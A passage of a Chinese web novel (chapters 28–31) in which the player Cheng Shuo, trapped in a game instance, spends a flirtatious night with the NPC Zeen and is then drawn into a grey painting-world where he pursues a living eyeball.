泽恩冲他笑了笑，而后放下刀叉，声音平稳：“明天大家最好在房间里安静待着，哪都不要去。”
“当然，如果有不怕死的人可以不听。”他擦干净唇，站起身往楼上走去。
其他玩家面面相觑，没人回答，吃过饭后逐渐离开。
太晚了，该休息了。
程朔跟着起身，想起什么，倏然坐回原位，用余光注意着谢尔。
他安静地站在一旁，像是没有思想的木头人，等待着主人下达命令。
回过神时，整个大厅只剩下他和谢尔。
程朔又饿了，吃了点牛排，打算擦唇的那一刻，有一只手先他一步拿起纸巾，温柔地替他擦拭着。
一切进行得太快，程朔反应过来时差点把桌子掀飞，目光惊悚地盯着丝毫不觉得有什么的谢尔，对上他认真专注的表情，浑身控制不住起了一层鸡皮疙瘩。
程朔慌忙避开谢尔的手，快速擦拭干净后起身。
“谢谢，但下次不用你帮我。”他理好思绪，推了推眼镜，不悦道，“我不是小孩子。”
发现自己是捕捉者后，程朔没再刻意保持伊索的恶劣性格，现在重新扮演多少有些不自然。
他紧紧绷着下颚，表现出满满的抗拒。
谢尔笑了笑：“好。”
程朔犹豫片刻，瞅着谢尔：“我在你房间见过一张照片，拍的是我，你从哪里来的？”
谢尔没有多余反应，也并不好奇他是怎么进入自己房间，知道照片的事，只平静回答：“是主人给我的。”
“泽恩为什么把我的照片给你？”程朔蹙起眉头，不太相信。
“现在找到宝藏才是最重要的事，时间就快到了，伊索先生不担心找不到宝藏吗？”谢尔眨眨眼，唇角依旧是温柔的笑意。
知道再追问也问不出什么，程朔起身，声音平
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淡地问：“你跟泽恩有什么关联？”
这次谢尔十分诧异：“我和主人？伊索先生是误会什么了吗？我和主人没有任何关联。”
程朔打量着他的表情，看不出什么异样，摇摇头没再说什么。
他面向楼梯，自言自语道：“你们有点像。”
这话随口一说，没打算得到谢尔回应。
程朔没再停留，错过了身后谢尔有些复杂形容不出的神情。
大厅里静悄悄的，只剩上楼的声响
程朔一直低头沉思，没注意眼前，脑袋骤然撞到微硬的东西，整个人反射性向后倒去。
手腕被一股大力抓住，往前一扯，他回过神已在温暖的怀抱中。
程朔恍惚了一刹，只能感觉到头顶温热的气息。
他立刻后退，试图挣脱，却被拦腰搂得更紧。
程朔抬头。
四目相对，泽恩眼睛黑得不见光，所有不可弄清的情绪藏匿其中。
程朔嗅出危险，更加挣扎。
泽恩手指微动，他一怔，能清楚感觉到后腰处放着的手指。
指尖触碰到腰处肌肤的感觉十分陌生，程朔身体逐渐僵硬，完全不适应目前过度亲密的姿势，手都不知道该往哪里放。
如果可以，他想放在泽恩脸上。
“你还不松开我吗？”时间一分一秒过去，见泽恩依旧专注盯着自己不动弹，程朔忍不住催促。
泽恩仿佛现在才回过神，收回手，轻扶着他的手臂将他扶稳，轻声笑了笑：“伊索先生要小心。”
现在挺绅士，刚刚干什么呢。
程朔摸了下后腰，还能感觉到那因触碰而窜动全身的细微痒意。
他转移目光，不想所有注意力都放在泽恩身上。
好巧不巧，程朔与站在楼梯处，正往这边看的管家谢尔对上目光。
视线在空中相撞，管家深邃的双眸蔓延着复杂奇怪的情绪。
程朔发现谢尔礼貌温柔的微笑有些僵硬，再度上扬时，透着形容不出的阴森感，忍不住浑身一抖。
谢尔垂下脑袋，继续自己手中的事，好似无事发生。
泽恩显然注意到程朔的紧张，似笑非笑道：“伊索先生在紧张什么？”
程朔真想回答因为你这个主人和别墅管家太恐怖了，强忍住没说出口。
泽恩瞥向楼下的谢尔，语调依旧带着笑意：“难道我刚刚做了不该做的事吗？”
程朔没说话，避开泽恩往房间走去，才刚迈出两步再次被泽恩抓住手腕。
“跟我一起回我房间吧。”泽恩说，黑沉无光的眼睛没有任何情绪，像是在陈述一件稀松平常的事。
程朔躲开他的手：“你下次别动不动……”
他想了下措辞，不知为何有些磕巴：“摸，摸我。”
28.第二十八章
第28章
虽然都是男人，但动不动被摸非常奇怪。
耳边静悄悄的，无人说话，程朔反应过来什么，飞快抬头。
果然，泽恩语调微微上扬：“摸你？”
“不是！”程朔再次补充，“是别摸我。”
“好。”泽恩点头，“那我们一起回我房间。”
怎么还在说这个话题。
脑海里闪过上次在他房间发生的事，程朔脸皮都僵住了，扯动唇角：“去你房间干什么？我自己有房间。”
泽恩：“干该干的事。”
男人表情平静，没有任何波动，显然不认为自己的话有什么问题。
“别再逗我玩了，我不会上当第二次。”程朔磨牙。
泽恩一顿，表情有一刹那的意味深长：“你在想什么？不干该干的事干什么？你想到哪里去了？”
程朔确实想歪了，还歪得离谱。
他及时收回乱七八糟的思绪，试探性开口：“是关于宝藏的事？”
泽恩没说话，默认了。
老说这种让人误会多想的话，他就是故意的。
程朔狠狠瞪了他一眼，想起那张被分成五份的画，点头道：“既然如此，那就走吧。”
他得确定，那画到底有什么用。
泽恩在前面带路。
程朔觉得哪里怪怪的，一时之间反应不过来，到了泽恩房间才骤然醒悟。
讨论宝藏，他的房间也可以讨论，怎么非要来泽恩房间。
被惯性思维骗了。
程朔揉揉眉心，在泽恩开灯的那一刻闻到空气中弥漫着勾人的香味。
灯光下，对面桌上放着一份晚餐，腾腾冒着热气。
程朔惊讶地站在桌前，半天没动静。
“看你对今天的晚餐不感兴趣，为你准备了一份。”泽恩拉开椅子，邀请他坐下。
程朔沉默片刻：“你说的该干的事难道是这个？”
“不然伊索以为是什么？吃饭不是该干的事吗？”泽恩笑着反问。
程朔这次没多大波澜，坐下后开始吃。
泽恩全程坐在床上，似笑非笑地盯着他这边。
程朔一开始还在单纯地享受美食，吃到最后非常不自在，快速解决饭，面色认真地问他：“你请我吃饭，想得到什么？”
泽恩双腿微微交叠，不答反问：“对伊索先生好是应该的，还需要得到什么交换吗？”
程朔：“没有人对人好是应该的，即使……”
他顿了顿，硬着头皮说下去：“即使你喜欢我。”
“原来伊索先生知道我对你的心意，我还以为不知道。”泽恩撑着脸，笑吟吟地开口。
程朔心说废话，那日记本里癫狂的心意，怎么可能会不知道。
泽恩忽然说：“如果非要还人情的话，伊索先生晚上留在这里就行了。”
程朔：“？”
看着那张大床，他心里突突乱跳，毫不犹豫：“不行。”
泽恩换了个姿势，依旧托着下巴，贴在脸颊上的手指不规律地动着：“伊索先生是害羞了吗？”
程朔觉得好笑，放下筷子，一本正经地说：“我一个大男人有什么好害羞的。你这床这么大，一人一边，根本不可能碰到。”
“害羞？不可能。”
再说了，根据上次经验，肯定就是正常睡觉。
程朔张嘴想答应，反应过来，说泽恩是故意的，想激怒自己留下来。
他又不是傻子。
泽恩眼角眉梢满是惊诧：“那难道是因为害怕吗？”
程朔说：“害怕什么？”
泽恩：“害怕与我在同一空间。”
程朔撇嘴，继续埋头吃饭，等解决完晚餐，才含糊不清地说：“你别激我了，我不会上当。”
……
浴室里响着水声，程朔坐在床边，不知道自己怎么就鬼迷心窍答应了。
明知道泽恩是再故意激他，却还是在对方一声声“你害怕了”中上当了。
既然都留下来了，不能浪费机会。
程朔打量着周围，起身在各种犄角旮旯里翻找着。
距离上次寻找时间太短，根本翻不出有用的东西。
他放弃坐在桌前，随手拉开抽屉，注意到里面多出一样陌生的东西。
是一本棕色的小册子，程朔以为又是日记本，打开发现是画册。
一直没出现的画册就这么出现了。
程朔挑眉，觉得过于巧合，看了眼浴室。
翻开画册，第一页是一张熟悉的脸，他凑近看了十几秒，才认出是自己，一时间哭笑不得。
这才多久，他就记不清自己在这轮副本里的脸了。
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浴室门忽然打开。
热气飘来，程朔背脊微僵，闻着在空气中蔓延开的香味莫名不自在，拿着画册的手不听使唤，立刻翻开又合上。
他刻意抬手遮住侧脸，不去看那边。
静默之中，脚步声响起，随着香味袭近，房间再一次陷入死寂。
视线里多出颜色，迫使程朔不得不抬头，冲站在桌前的泽恩一笑：“洗完了？”
男人穿着黑色的睡衣，头发微湿，还在往下滴水。
水珠顺着下颚滚落，沿着露出的胸膛一路没至睡衣中。
气氛微妙，程朔视线黏在泽恩身上时，竟还分出心思辨认出他用的是栀子花味的沐浴露。
挺好闻。
不知道是不是故意，泽恩没穿好睡衣，只扣了中间两个扣子，白皙结实的胸膛与下方的腹肌都看得一清二楚。
程朔反射性摸了下自己的肚子，只摸到柔软的肉。
这对比太惨烈了。
镜片后的双眸生出显而易见的羡慕，被男人收归眼底。
泽恩一笑，略微俯身，望着蠢蠢欲动的程朔，柔和的嗓音中带着不容易察觉的引诱：“想摸吗？”
“可以吗？”程朔眼睛都亮了，放下相册，目光描绘着他完美的身材，又嘴硬道，“谁想摸了？不是我。”
“你表情都藏不住了。”泽恩低声说，“摸吧。”
最后两个字犹如恶魔低语，程朔没再犹豫，起身走近，抬手摸向了……泽恩的手臂。
男人一怔。
程朔捏了捏他手臂上的肌肉，发出一声感慨，自言自语起来：“打我的话，应该能立刻把我打飞吧。”
一句“怎么练的，教教我”已到嘴边，对上泽恩满含笑意的眼睛，他顿时回过神。
这里不是现实，而是游戏副本，实在不适合聊身材方面的事。
程朔低咳一声，收回手前还不忘捏一把。
手感太好了，比他瘦弱跟杆一样的手感觉完全不同。
“摸够了？”泽恩问。
程朔狂点头，推了推眼镜：“够了。”
等回到现实他也要好好健身，争取变成泽恩这样穿衣显瘦，脱衣有力的身材。
“没摸够的话，可以继续摸。”泽恩伸手，抓住程朔的手放在自己身上，嗓音磁性，极为蛊惑人心，“现在可以摸任何你想摸的地方。”
29.第二十九章
第29章
程朔大脑直接宕机，迷失在泽恩的声音中。
摸摸摸，随便摸。
手掌就那么被带着按向腹肌，触感微凉坚硬，程朔却像是碰到火炉被烫到般，迅速抽出自己的手。
“够了，真够了，不摸了。”他视线乱飞，就是不去看泽恩，不知道是脸颊燥热，还是心里燥热，总觉得浑身难受如蚂蚁爬动。
泽恩又笑了一声。
程朔心想别笑了，你还是赶紧恢复成你那吓人的状态吧。
现在这样比以往还要让人提心吊胆。
房间里寂静到让人不注意有些暧昧的氛围都不行。
程朔生怕再这样下去，闯关游戏性质真的变了，指着画册，强行开辟新话题：“这画册之前怎么没见过？”
“忘记放在哪里了，刚找出不久。”泽恩走到一旁吹头发。
程朔松口气，泽恩不在身边，他整个人仿佛从岸上回到水中的鱼，自由欢畅，再无任何难受。
吹风机的声音停止，那种紧张感再次遍布全身，程朔着急忙慌地翻开画册，当发现第一张照片后全是自己后，立刻合上。
一个画册，却贴的全是他的照片，泽恩想留着收藏吗？
按照他的变态程度，恐怕不只是收藏这么简单。
程朔浑身一个激灵，打住胡思乱想。
“拍我这么多张照片干什么？”他索性质问泽恩。
那么多照片，全是这几天拍的，程朔怀疑泽恩就是摄像头，见他除了拍照就没别的事做。
泽恩头发刚吹好，有些凌乱，但没有让那张脸减分，反而更加吸引人。
他唇角微弯，暗沉的眼睛中闪烁着柔和的笑意：“你不知道我为什么拍这么多照片吗？”
一句反问，让程朔顿时没了追问的欲望，只想岔开话题：“你打算什么时候睡觉？”
“等你一起。”回答他的是男人低沉好听的嗓音。
程朔晃荡着双手，眼观鼻鼻观心，假装不在意：“我今天不睡，你睡吧，我要通宵想线索。”
手腕被握住，泽恩的手十分凉，以至于程朔瑟缩后下意识开始挣扎。
他没能挣脱，反而被泽恩拉到椅子前坐下，
男人松开手，修长的手指翻开画册，没再说话，也不再有任何动作。
发觉他只是想和自己一起看画册，程朔紧绷的身体逐渐放松，很快被画册中的照片吸引注意。
他发现一个问题。
不管是之前的照片还是现在的，拍的都是他。
如果泽恩喜欢伊索，怎么没有伊索的照片？
难不成他喜欢的是自己？
程朔偷偷瞥了泽恩一眼，恰好被他捕捉到目光。
对上那双情绪淡漠的眼眸一刹那，所有想法都凝固住，程朔忘记自己想说什么，张嘴半天，憋出一句。
“看不出你挺喜欢拍照。”
泽恩没说话，他安静地站在程朔身边，下一秒倏然俯身凑近程朔，以几乎将他圈在怀里的姿势继续翻着画册。
视线里只有那张放大的侧脸，程朔呼吸不由得放轻很多，生怕自己加重一点，就会洒在泽恩脸颊上。
明明距离那么近，他却听不见泽恩的呼吸声，只能感觉到他靠近时的一点炙热气息。
眉眼深邃的男人专注地盯着画册，似乎察觉不到他的注视，以至于程朔越发肆无忌惮地看着那张完美无可挑剔的俊脸。
直到泽恩朝他这边贴近，程朔僵住，眼底满是无措与惊慌。
靠得太近了，无论谁动都会碰到，他向后退的瞬间，泽恩微微偏头。
镜框被撞到轻微歪斜的同时，冰凉的唇瓣擦过程朔的唇。
视线因眼镜歪掉而模糊，他愣住，泽恩明显也一怔，眼里笑意顿时蔓延。
虽然只是一瞬，但留在唇瓣上的凉意还能感觉到，程朔甚至能回想起相触时的柔软温凉。
反应过来自己在干什么，他连忙往后挪动脑袋，扶正镜框，试图沉默着将这件事揭过去，假装无事发生。
泽恩站直身体。
他本就高，颀长的身影在灯光的照耀下压迫感十足，微垂眼眸时遮去了眼底的情绪，叫人猜不透他此刻的想法。
随后他抬起手，手指轻轻触碰了下唇。
这个动作让本就有些躁动的程朔莫名羞赧。
他不得不挺直背脊，视线挪向别处，催眠自己没什么，集中注意力放在画册上，但总是分心。
过分的静默令程朔心脏升温，他胡乱地开口：“你是喜欢第一天刚进别墅的我，还是第二天之后的我？”
意外的是，这次泽恩许久没回答。
程朔不免抬头。
泽恩正在盯着他看，目光深暗。
很奇怪，那眼神不像是在看他，也不像在看伊索，反倒是借着看他像想起了谁。
程朔蹙眉，内心忍不住嘀咕：这是在透过我看谁呢。
替身文学也是在这游戏里玩上了。
房间里寂静无声，看着眼前镜片后干净透亮的眼睛，泽恩薄唇微抿，忍住想要去触碰的冲动，敛眸看向画册：“喜欢第二天之后的你。”
没想到他会回答的这么准确认真，程朔反倒愣住。
“为什么？”他问，开始怀疑眼前的男人是不是知道他并不是伊索。
泽恩：“没有为什么。”
他不打算多说什么，手指不停翻动着画册。
周遭只剩下纸张摩擦声。
程朔好不容易平静许多的心跳随着那声音逐渐加速。
他的视线追随过去，注意到什么，立刻伸手按住夹在一堆自己照片中的画照。
这里面竟然还有一些别墅中画的照片。
脑海里闪过之前提到的线索，程朔低眉沉思。
他仔细翻开每一张照片，发现别墅里画的照片都有，唯独没有那张被撕毁的照片。
空白的脑海闪过什么，一切太快，他来不及抓住。
鼻尖萦绕着那股淡淡的沐浴露清香，程朔骤然回过神，泽恩离他不知何时又很近。
他的镜框已经抵在泽恩脸颊上，不仅如此，还能感受到泽恩若有若无的呼吸。
心脏被滋生出的复杂情绪慢慢包裹浸泡，到最后催动着心跳不断加速，程朔眼皮疯狂抽动，提醒着他那份陌生到让他焦躁不安的情绪。
热意席卷全身，最终集中在双颊，程朔几乎是下意识抬手，抵住泽恩线条分明的脸推开。
那双黑眸看向他，程朔着急忙慌开口：“你离我太近了。”
脸颊越发滚烫，他怀疑自己现在已经红了脸，又补充一句：“看个照片，没必要靠那么近。”
泽恩站直：“很晚了，该睡觉了。 ”<
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程朔看了眼床，莫名发怵，脸颊热得他内心焦虑。
两个男人，怕什么，中间空的还能塞人，眼睛一闭直接睡就好了。
想到这，程朔站起身，眼珠子微微转动：“我没带衣服，我回房间拿衣服。”
他刚动一步，泽恩看出他的目的，拦住他：“你离开之后就不会回来了。”
程朔捂了捂自己的脸，面不改色：“没有，真的就是回去拿衣服，这里也没有我穿的衣服。”
“柜子里有没穿过的。”泽恩打开柜子，里面有很多款睡衣。
程朔梗着脖子，不太情愿：“好吧，那我就不去了。”
他犹如蜗牛一般挪向柜前，却在去拿衣服时，泽恩猝不及防凑近他的脸。
温热的气息迎面而来，程朔被定在原地无法动弹，只能眼睁睁看着泽恩离他越来越近，直到鼻尖相触。
四目相对，程朔看向泽恩的瞳孔，呼吸乱了。
“你亲我一下，我就假装你没答应我留下来。”
伴随着无限放大的心跳声，泽恩散漫低沉的嗓音响起。
程朔浑身一个机灵，身体像是有东西爬，酥麻得慌。
他推开泽恩，眼睛直直地盯着地板：“我是那种说话不算话的人吗？”
亲他一口？想得美！
不能总是被泽恩牵着鼻子走，他得打起精神，不然说不定又会被迷惑成功。
程朔胡乱拽下衣服，狂奔进浴室。
关上浴室门，他调整着呼吸，走到镜子前一看。
脸何止是红，简直是红爆了，一路连向耳朵，像是被人用颜料染上的。
这幅样子肯定被泽恩看到了。
程朔打开水龙头，用冷水洗了把脸，不安分的心脏总算慢慢归为平和。
他打开水龙头。
……
洗完澡，脑子变得更加清醒，程朔开始懊恼一开始答应来这边。
他甚至开始后悔，早知道答应泽恩，随便对着他脸亲一下就跑得了。
男人之间，互相亲下脸也没什么。
不对，不能这么想，不能亲，这是阴谋。
泽恩想把他变弯的阴谋，他不能上当。
程朔脑子乱糟糟的，没忍住抬手给了自己一掌。
巴掌声太过清脆，门外的泽恩敲了敲门，低声询问他有没有事。
“没。”程朔高声回答，“有蚊子。”
他迅速穿好衣服，用旁边新的洗漱用品洗漱完，吹干头发。
一切做完后，程朔深吸一口气，打开浴室门。
镜片上的水雾还没退去，眼前有些模糊，程朔下意识想摘眼镜擦拭，却在捕捉到站在前方的泽恩停止了动作。
男人没说话，视线落在他身上。
明明十分温柔，程朔不知为何有些难以诉说的忐忑紧张，连挺直的胸腔都微弯了下去，下颚紧绷。
浴室里的热气跑出，在空气中扩散开，程朔扯了扯衣服，觉得热，主动开口：“休息吧。”
他背对着泽恩靠近床。
身后的视线灼热到无法忽略，几乎将人盯穿，程朔头皮发麻，不得不停下步伐。
转身的刹那，眼前出现泽恩的衣服，他一怔，随即脸上一热。
泽恩的手指轻轻摩挲着程朔发红的脸，嗓音微哑。
“脸怎么了？”
30.第三十章
第30章
透过模糊的镜片，程朔只能隐约看到泽恩模糊的轮廓。
伴随着他的手指移动，被打的地方像是生了火，变得滚烫发热。
他抓住泽恩的手，原本想说的话在与泽恩猝不及防对上目光后全部忘记。
水雾消失，镜片清晰多了，泽恩的眼里只有程朔一人的倒影，并缓缓荡漾开数不尽的笑意。
程朔仿佛身处在巨大林子里的鹿，完全迷失其中。
他回过神，想起自己还抓着泽恩的手，立刻松开，干巴巴一笑：“没事，打蚊子打的。”
“疼不疼？”
简短的三个字夹杂着遮不住的关切，程朔心脏漏跳了一拍。
他与泽恩面对面站着，距离近到氛围都变得旖旎暧昧。
这种好似谈恋爱一般，四周飞着泡泡一样的氛围让程朔特别不适应。
他后退两步，飞快拿下眼镜，抽出一旁的纸巾擦好。
眼镜戴上的刹那，一切乱七八糟不该生出的情绪全部收起。
泽恩的脸彻底能看清，那见鬼的紧张与躁动感彻底消失了。
程朔松了一口气，不免再次后悔。
早知道直接跑了。
这游戏再玩下去，说不定自己思想会越来越扭曲，跟游戏一样不正常了。
程朔瞥了眼大门，刚生出溜之大吉的心思，泽恩走到门前，将门反锁。
心思被看破，多少尴尬，程朔摸摸鼻子，先一步躺在床上，用被子裹住自己，把自己想象成冬眠的蛇，躺在被窝里一动不动。
耳边静悄悄的，泽恩一直没动静。
程朔忍不住翻身，故意制造出声音，想提醒泽恩该睡觉了。
脚步声响起，他顿时闭上眼，僵着脑袋犹如木偶。
灯光关闭，眼前一片漆黑，没多久，脚步身也停下，身侧的床陷下，衣料摩挲声响起。
程朔紧张到牙齿都咬在一起，以为会发生什么，但什么都没发生。
他形容不好自己此刻的想法，松口气的同时又有些异样的……失望？
程朔摇头，就那么闭眼再次翻身，背对着泽恩说：“中间线，谁都别越过，一人一半。”
话音落下，泽恩应了一声。
程朔摘下眼镜，不知道是不是之前紧张过头，现在躺在柔软的床上不过几分钟，便生出了浓浓的困意。
意识模糊之际，程朔心里产生出疑惑：假如事先不知道泽恩是NPC，他会觉得泽恩是NPC吗？
还没想出答案，程朔意识发沉，不过瞬间睡了过去。
迷迷糊糊中，他觉得整个人非常热，像是躺在火炉中被大火烘烤着，撒点孜然芝麻都可以出炉了。
程朔被这个想法逗笑到清醒几分，察觉到自己怀里抱着什么，贴得极为紧。
他伸手推开，再次睡去，恍惚中又觉得太冷了，忍不住往后靠近，将那推开的东西重新抱住，这次连脚都用上了，寻了个舒服的姿势睡去。
黑暗中，泽恩始终睁着眼，身体一动不动地任由程朔像八爪鱼一样紧紧缠抱着。
确定怀里的人这次真的睡熟，不再动时，他才小心翼翼地伸出手，如获珍宝般将人轻轻地揽入怀中。
不过只是一瞬，男人迅速收回手，干脆利落地放在一旁，生怕自己会贪恋不舍，隐忍克制着。
耳边是温热均匀的呼吸声，泽恩闭上眼又睁开，感受着那呼吸距离更近了。
他眼底情绪复杂，最终渴望与冲动压制不住，破笼而出。
但最终也只是微侧着身，谨慎且小心地低下头，在那额头印下一吻。
一触即离。
快的好似一切都没发生。
*
程朔猛地睁开眼，发现自己抱着什么，立刻松开手往上挪动，脑袋撞上坚硬的骨头。
闷哼响起，程朔愣住，往后退，视线里出现泽恩的脸。
他刚好睁眼醒来。
程朔发现他睡得不好，眼底带着明显的疲倦，眼下还有明显的黑眼圈，淡化了他身上的戾气与疏离，倒是变得平易近人了。
对上那刚睡醒时慵懒的目光，程朔想也不想，一句话脱口而出：“说好的不许越线，你怎么过来了。”
泽恩脸上的表情一瞬间变得耐人寻味，他没开口，只是笑了笑。
眼角眉梢的笑意带着明显的打趣，程朔反映过来什么，立刻坐直身体，往后一看。
身后空着一大片，他从那边挪到泽恩这边不说，还把他挤到床边，差一点就能掉下去。
程朔尴尬地弯眸笑笑，迅速翻身下床：“我做梦来着。”
他戴上眼镜，视线清晰后努力解释着自己厚颜无耻的行为：“估计是乱动挤到你这边了，不是故意的。”
没等泽恩说话，程朔受不了昏暗的房间，拉开窗帘。
灿烂的阳光从窗外倾斜进来，暖洋洋的，令人放松舒心。
程朔伸个懒腰，脑海中闪过什么，立刻扭头看向泽恩。
昨晚睡觉时，他好似感觉到有人亲了下自己额头，不知道是不是在做梦。
那动作小心翼翼，生怕吵醒他，以及像对待什么极为珍视之人的感觉从来没有过。
他直勾勾地看着起床的泽恩，试探性开口：“昨天晚上你睡着了吗？”
泽恩“嗯”了一声，站在床边掀起睡衣下摆。
程朔猜出他这动作的意思，连忙抬手捂着自己的眼睛，同时扭头不去看他：“你怎么不去浴室换衣服？我还在这里呢。”
泽恩动作一顿：“这有什么？”
他问得真诚，似真不觉得这有什么：“你昨天不是摸过吗？”
程朔脸颊通红，心想那也不是我主动想摸的，而且这语气说的就跟我摸个遍一样。
不过说得也对，都是男人，他虽然喜欢自己，自己又不喜欢他。
想到这里，程朔迅速放下手，强行转过头死死地盯着泽恩。
泽恩脱去了上衣，完美的身材暴露出，他眼睛恨不得黏上去，越看目光越放肆地在那漂亮的肌肉线条上来回描绘着。
眼馋片刻，程朔有些欲哭无泪。
脸好看，身材也好看，这NPC设定成这样确定不是给人看的吗？
泽恩慢条斯理地穿好衣服后，斜睨着程朔。
程朔被那直白暗示的眼神看的心里发毛：“怎么了？老盯着我干什么？”
泽恩：“该你了。”
程朔眼皮一跳，真没听懂这句话的意思：“什么该我了？”
泽恩面对他，唇角上扬：“该你换衣服了。”
程朔拿起自己的衣服，回避泽恩越发灼热的目光，抬脚往浴室走去：“确实该我了。”
他没拒绝，反而借着泽恩这句话装傻。
身后响起脚步声，
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程朔本来已经踏进浴室一只脚，硬生生被泽恩抓着手腕拉了回去。
程朔没转身，生怕对上泽恩那张让人有压力的脸。
“大家都是男人，你为什么特意躲避？”泽恩轻声说，“你在害怕什么？”
没等程朔开口，他继续说：“你喜欢我？所以要背对着我换衣服？”
低沉散漫的嗓音搅得程朔大脑一片空白，一时间不知道该反驳他哪句，结结巴巴半天也没说出一句完整的话。
半分钟后，程朔挣脱他的手，理智回来，一句话说的莫名底气不足：“都是男人，但不一样。”
泽恩追问：“哪里不一样，你不是也看了我的吗？”
好问题，回答不出。
程朔大脑更加空白，试图思考，可什么都想不起来，感觉极度缺氧，下一秒就能因为呼吸困难晕过去。
关键时刻，他掐了掐自己的手腕，摸索着发红发烫的手腕，重新找回冷静。
“那是你自己不避开，不是我想看。”
不能再待下去了，不然真的无法确定会发生什么。
“是吗？”泽恩笑出声，“你看的眼睛都挪不开了。”
程朔脸红了，气得，因为不知道怎么反驳泽恩的实话气红的。
他揉了揉自己的脸：“你喜欢男人，我不喜欢。”
这话程朔故意说得很快，趁着泽恩没反应，钻入浴室反锁门，快速换了身衣服。
衣服是泽恩的，大了不少，程朔随手挽好衬衫衣袖，整个人彻底清醒。
泽恩是NPC，他怎么老是被一个NPC牵着走。
NPC是设定好的，自己可是活生生的玩家，不能总如此被动。
程朔洗把脸，看着镜子里的自己。
平时没注意，现在一看，伊索这张脸变得与他现实中的脸越发相像。
他甚至都快记不清第一天来时的模样了。
程朔擦干净脸，重新打开浴室门。
泽恩站在窗前，整个人沐浴在温暖耀眼的耀光下。
那张脸没表情时太显疏离薄情，看着窗外的眼神平静却带着一种难以言喻的情绪。
无论从哪个角度看，这人都不像是游戏里的NPC，完全是一个有自己思想情绪的活生生人。
程朔看的入神，直到泽恩偏头看向他，因面无表情而变得稍许寡淡的面容在注意到他的那一刻绽放出笑意。
“你穿这个很好看。”
程朔略微恍惚，在这笑容下产生出一种泽恩只会对着自己这么笑的错觉。
他回过神，低头看看自己身上的衣服。
除了大一些，与自己的衣服没任何区别，没看出哪里好看。
他只当是泽恩的礼貌话语，笑着说：“谢谢，你的衣服好看。”
“衣服好看，你穿上更好看。”泽恩温声说。
柔和缱绻的话语，再加上那认真闪烁着笑意的眼神，像是在与亲密无间的恋人诉说着情话。
程朔喉咙发痒，说不出话，手指扣弄着裤子，试图让自己说话，但最终也没想起自己能说什么。
泽恩依旧盯着他，微歪着脑袋，深黑的瞳孔中倒映着他一人。
在这样的眼神注视下，程朔心里酥酥麻麻的，双腿变软，差点失去站直的力气。
不对劲。
他和泽恩之间的相处实在是……
太奇怪了！
31.第三十一章
第31章
我是直男，我是直男。
程朔缓缓呼出一口气，不知道是洗脑自己成功了，还是想到了想说的话题，心里飞升的紧张感消散很多。
“你昨天说的最好待在房间里是什么意思？”
程朔打算离开这里回自己的房间。
昨天答应过来够荒唐了，不能还一直和泽恩待在同一个房间。
泽恩顿了顿：“没什么，只是会有很多想不到的惊喜。”
他能说出惊喜两个字肯定没那么简单，惊吓还差不多。
程朔：“那我出去了？”
他打量着泽恩的表情。
男人没说话，表情也未有变化，只是站在窗边依旧保持着那个姿势望着程朔，原本冰冷的瞳孔在阳光照射下略微变浅，形成了是一种从没见过的柔和眼神。
程朔却因他长时间的注视导致心里发怵，无论如何也待不下去。
他尝试打开门，脚才刚往外面迈出一步，眼前顿时模糊，似有无数条看不见的线挡在眼前，扭曲歪斜，弄得人头晕目眩。
再次回过神，本该是走廊，此刻变成了陌生的地方。
四周没有一点色彩，灰白色让整个周围陷入一种令人胸口沉闷的绝望感。
天空没有一点蓝，远处的高楼大厦尽是灰色，唯一的纯白便是头顶天空那一朵白云。
程朔扭头，试图回到走廊，但无论朝着哪个方向走，都依旧身处在这个陌生天地。
这就是不太平和惊喜？
的确挺惊喜。
程朔揉揉太阳穴。
在这里第六天，寻宝任务开始五天，距离结束只剩短短两天。
按照游戏套路，关键性线索怎么都该来了。
程朔朝着高楼大厦靠近，实现不停环顾四周，越看越有种说不出的眼熟。
这是十四幅画中的其中一幅，他再次进入画中了。
程朔对这个结果还算有预料，只是不知道怎么出去。
他步伐加快，随着呼吸变急促，脑子越发清醒，不停思考。
程朔记得这幅画的眼睛就在前方高楼之上，也许找到眼睛就能离开这幅画。
他抬头看去，果然在前方高楼看到一只上下跳动的眼睛，几乎与背景融为一体，不仔细看还真难以发现。
程朔开始小跑。
呼吸乱到无法稳定，嗓子干痒刺痛，开始低咳，他在剧烈的咳嗽中察觉到不对。
按照距离早就应该到了，可他和高楼之间还是之前那么远。
他在原地踏步。
程朔咽了咽口水，抿唇止住咳嗽后坐在地上，一边按揉着发酸的小腿，一边寻找着不对劲的地方。
他很快发现头顶的白云有猫腻。
他往前走，白云向后退。
一旦白云后退，前方的建筑也在往后倒退。
程朔眯起眼，生怕自己弄错，前后来回三次，确定这朵云就是与他持对立状态。
如果他倒着走呢？
程朔转身背对着大楼，眼睛死死地注视着白云，努力后退，让自己走直线。
他一开始后退，白云真的在往前飘动。
程朔松了一口气。
不知道走了多久，他渴到嘴唇泛白发干，感觉自己身体水分严重缺失，努力舔着唇。
双腿没了力气，身体也从一开始笔直到后面半蹲着，程朔一直在费劲地喘气。
周遭仍旧没什么变化。
终于，在他快走不动的时候，背脊抵在冰冷的墙壁。
那一刹那，程朔脱离靠着墙坐在地上，大口呼吸着。
终于到了。
他扭头，确实是之前看的那栋楼，入口在左边。
程朔擦掉额头上的汗水，背靠着墙挪到入口。
进入大楼后，他整个人像是重新活过来般轻松。
程朔活动着身体身体。
大楼除了颜色，跟现实见过的没什么区别。
他快步停在电梯前，庆幸的是电梯可以使用，按下顶楼楼层。
半分钟后，电梯停下，到达顶层。
眼前昏暗无光，一切只剩灰白色，透着让人窒息的压抑感。
程朔呼吸困难，还没离开电梯就觉得浑身难受，思绪混乱，情绪不知道受到什么影响，变得特别焦躁不安。
太阳穴跳动着，程朔费劲呼吸，掐了下手心，努力从电梯走出。
推开顶层的大门，他来到楼顶，看到了那只还在蹦跳的眼珠。
程朔飞奔过去，用力抓住那只眼珠，紧紧握在手里。
黏腻的触感让他产生短暂的不适。
眼珠滑到几次想溜走都没成功，程朔观察周遭，没任何变化。
难道抓住眼睛不是离开这里的关键？
那是什么？
他眨眨眼，轻垂长睫，镜片后的双眸饶有兴趣地盯着捏住的眼珠，伸手一戳。
眼珠挣扎，霎时间环境陷入一片漆黑，伸手不见五指。
程朔觉得自己仿佛瞎了，无法从黑暗中窥探出一丝东西。
他不敢随意乱动，睁眼闭眼，这么重复无数次，四周依旧黑沉无光。
程朔蹙眉，捏紧手中眼珠，不知道此刻是什么情况。
时间一分一秒过去，等到他回过神时，深黑中早已漂浮着无数双暗红色的眼睛。
只是与黑暗几乎融为一体，程朔一开始并未注意到。
密密麻麻的眼珠一动不动地注视着他，形成一张无法挣脱的巨网，将他整个人笼罩其中，死死困住。
